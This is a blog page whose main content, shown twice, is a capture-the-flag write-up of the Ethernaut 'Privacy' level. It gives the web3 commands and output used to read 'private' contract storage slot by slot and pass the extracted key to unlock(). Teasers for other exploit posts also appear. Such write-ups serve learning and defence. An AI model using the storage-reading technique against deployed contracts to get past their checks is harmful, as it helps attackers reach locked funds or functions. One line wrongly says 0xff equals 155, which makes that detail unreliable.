
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 15: Preservation
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1...
Writing about security, MEV, privacy and decentralized finance

Subscribe to 0xbanky

Subscribe to 0xbanky
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
Nothing stored on the blockchain is private …
My 11th Ethernaut challenge, Privacy
https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B
This challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contract
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
Since the data variable has been marked as private, a getter function is not generated by the compiler. ie this will not work.
await contract.data();
However, we can manually view the data stored at each storage slot using the getStorageAt from the web3.eth library.
The getStorageAt function takes two parameters, the contract address and the storage slot. I first created a helper function to wrap this.
const storageAtIndex = async (index) => web3.eth.getStorageAt(contract.address, index, console.log)
The slot I am interested in here is the one that contains the third element in data. I went through each slot one by one to get a sense of how the solidity packing rules work.
await storageAtIndex(0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"
This is the value of locked which is a simple boolean. No other data is fit into the first slot since the next element, ID is a uint256. uint256 is 32 bytes long and thus takes up the entire next slot.
await storageAtIndex(1);
// "0x000000000000000000000000000000000000000000000000000000006302e9b9"
web3.utils.toNumber("0x000000000000000000000000000000000000000000000000000000006302e9b9");
// 1661135289
The ID field stores the block timestamp at the time the contract was constructed. Using the toNumber util, I convert this to an integer and it lines up to when the contract was deployed. Nice 👌
await storageAtIndex(2);
// "0x00000000000000000000000000000000000000000000000000000000e9b9ff0a"
With the way EVM variable packing works, flattening (uint8), denomination(uint8) and awkwardness(uint16) are all fit into storage slot 2. In addition to this, the data is packed in reverse order, ie. flattening is the last piece of data at this location. Moving backwards, we see that flattening is 0x0a which corresponds to the integer value 10. denomination is 0xff which corresponds to 155. Finally, awkwardness is represented by e9b9.
Now to the important part, data. Since data is a fixed size array, it is stored completely in sequential order from the starting slot position. ie. data[0] is at slot 3, data[1] is at slot 4, etc. The key is derived from data[2]. The value is then clamped to the first 16 bytes by casting to a bytes16. Thus I get the key as follows
key32 = await storageAtIndex("5");
key16 = key32.substring(0, key32.length - 32);
await contract.unlock(key16);
await contract.locked();
// false
The contract is successfully unlocked
The EVM does variable packing to reduce the footprint of storage. Sequential elements that can fit into 32 bytes are slotted together into the same location in storage
Elements of fixed size arrays behave like normal storage slotting. Elements of dynamic sized arrays are a bit more complex where the array location is the keccack(slotPosition)
The location of elements of a mapping can be found with the keccack(slotPosition, mappingKey)
Nothing stored on the blockchain is private …
My 11th Ethernaut challenge, Privacy
https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B
This challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contract
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
Since the data variable has been marked as private, a getter function is not generated by the compiler. ie this will not work.
await contract.data();
However, we can manually view the data stored at each storage slot using the getStorageAt from the web3.eth library.
The getStorageAt function takes two parameters, the contract address and the storage slot. I first created a helper function to wrap this.
const storageAtIndex = async (index) => web3.eth.getStorageAt(contract.address, index, console.log)
The slot I am interested in here is the one that contains the third element in data. I went through each slot one by one to get a sense of how the solidity packing rules work.
await storageAtIndex(0);
// "0x0000000000000000000000000000000000000000000000000000000000000001"
This is the value of locked which is a simple boolean. No other data is fit into the first slot since the next element, ID is a uint256. uint256 is 32 bytes long and thus takes up the entire next slot.
await storageAtIndex(1);
// "0x000000000000000000000000000000000000000000000000000000006302e9b9"
web3.utils.toNumber("0x000000000000000000000000000000000000000000000000000000006302e9b9");
// 1661135289
The ID field stores the block timestamp at the time the contract was constructed. Using the toNumber util, I convert this to an integer and it lines up to when the contract was deployed. Nice 👌
await storageAtIndex(2);
// "0x00000000000000000000000000000000000000000000000000000000e9b9ff0a"
With the way EVM variable packing works, flattening (uint8), denomination(uint8) and awkwardness(uint16) are all fit into storage slot 2. In addition to this, the data is packed in reverse order, ie. flattening is the last piece of data at this location. Moving backwards, we see that flattening is 0x0a which corresponds to the integer value 10. denomination is 0xff which corresponds to 155. Finally, awkwardness is represented by e9b9.
Now to the important part, data. Since data is a fixed size array, it is stored completely in sequential order from the starting slot position. ie. data[0] is at slot 3, data[1] is at slot 4, etc. The key is derived from data[2]. The value is then clamped to the first 16 bytes by casting to a bytes16. Thus I get the key as follows
key32 = await storageAtIndex("5");
key16 = key32.substring(0, key32.length - 32);
await contract.unlock(key16);
await contract.locked();
// false
The contract is successfully unlocked
The EVM does variable packing to reduce the footprint of storage. Sequential elements that can fit into 32 bytes are slotted together into the same location in storage
Elements of fixed size arrays behave like normal storage slotting. Elements of dynamic sized arrays are a bit more complex where the array location is the keccack(slotPosition)
The location of elements of a mapping can be found with the keccack(slotPosition, mappingKey)
No activity yet